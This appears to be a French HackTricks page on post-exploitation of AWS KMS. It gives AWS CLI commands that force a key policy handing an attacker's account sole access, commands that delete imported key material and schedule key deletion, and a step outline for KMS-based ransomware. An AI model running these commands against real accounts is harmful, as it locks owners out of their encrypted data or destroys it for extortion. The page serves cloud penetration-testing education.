AWS - KMS Post Exploitation
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
KMS
Pour plus d'informations, consultez :
Chiffrer/Déchiffrer des informations
fileb://
et file://
sont des schémas URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux :
fileb://:
Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.file://:
Lit le fichier en mode texte, généralement utilisé pour des fichiers texte brut, des scripts ou du JSON qui n'a pas d'exigences d'encodage spéciales.
tip
Notez que si vous souhaitez déchiffrer des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, et non des données encodées en base64. (fileb://)
- Utilisation d'une clé symétrique
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Utiliser une clé asymétrique :
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un attaquant ayant un accÚs privilégié sur KMS pourrait modifier la politique KMS des clés et accorder à son compte l'accÚs sur celles-ci, supprimant l'accÚs accordé au compte légitime.
Ensuite, les utilisateurs du compte légitime ne pourront accéder à aucune information de tout service qui a été chiffré avec ces clés, créant ainsi un ransomware facile mais efficace sur le compte.
warning
Notez que les clés gérées par AWS ne sont pas affectées par cette attaque, seulement les clés gérées par le client.
Notez également la nécessité d'utiliser le paramÚtre
--bypass-policy-lockout-safety-check
(l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
caution
Notez que si vous changez cette politique et que vous ne donnez l'accĂšs qu'Ă un compte externe, puis que depuis ce compte externe vous essayez de dĂ©finir une nouvelle politique pour rendre l'accĂšs au compte d'origine, vous ne pourrez pas car l'action Put Policy ne peut pas ĂȘtre effectuĂ©e d'un compte Ă l'autre.
.png)
Ransomware KMS Générique
Ransomware KMS Global
Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
- Créer une nouvelle clé avec un matériel de clé importé par l'attaquant
- Ré-encrypter les anciennes données chiffrées avec la version précédente avec la nouvelle.
- Supprimer la clé KMS
- Maintenant, seul l'attaquant, qui possĂšde le matĂ©riel de clĂ© d'origine, pourrait ĂȘtre en mesure de dĂ©chiffrer les donnĂ©es chiffrĂ©es
Détruire les clés
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
caution
Notez qu'AWS empĂȘche dĂ©sormais les actions prĂ©cĂ©dentes d'ĂȘtre effectuĂ©es depuis un compte croisĂ© :
.png)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.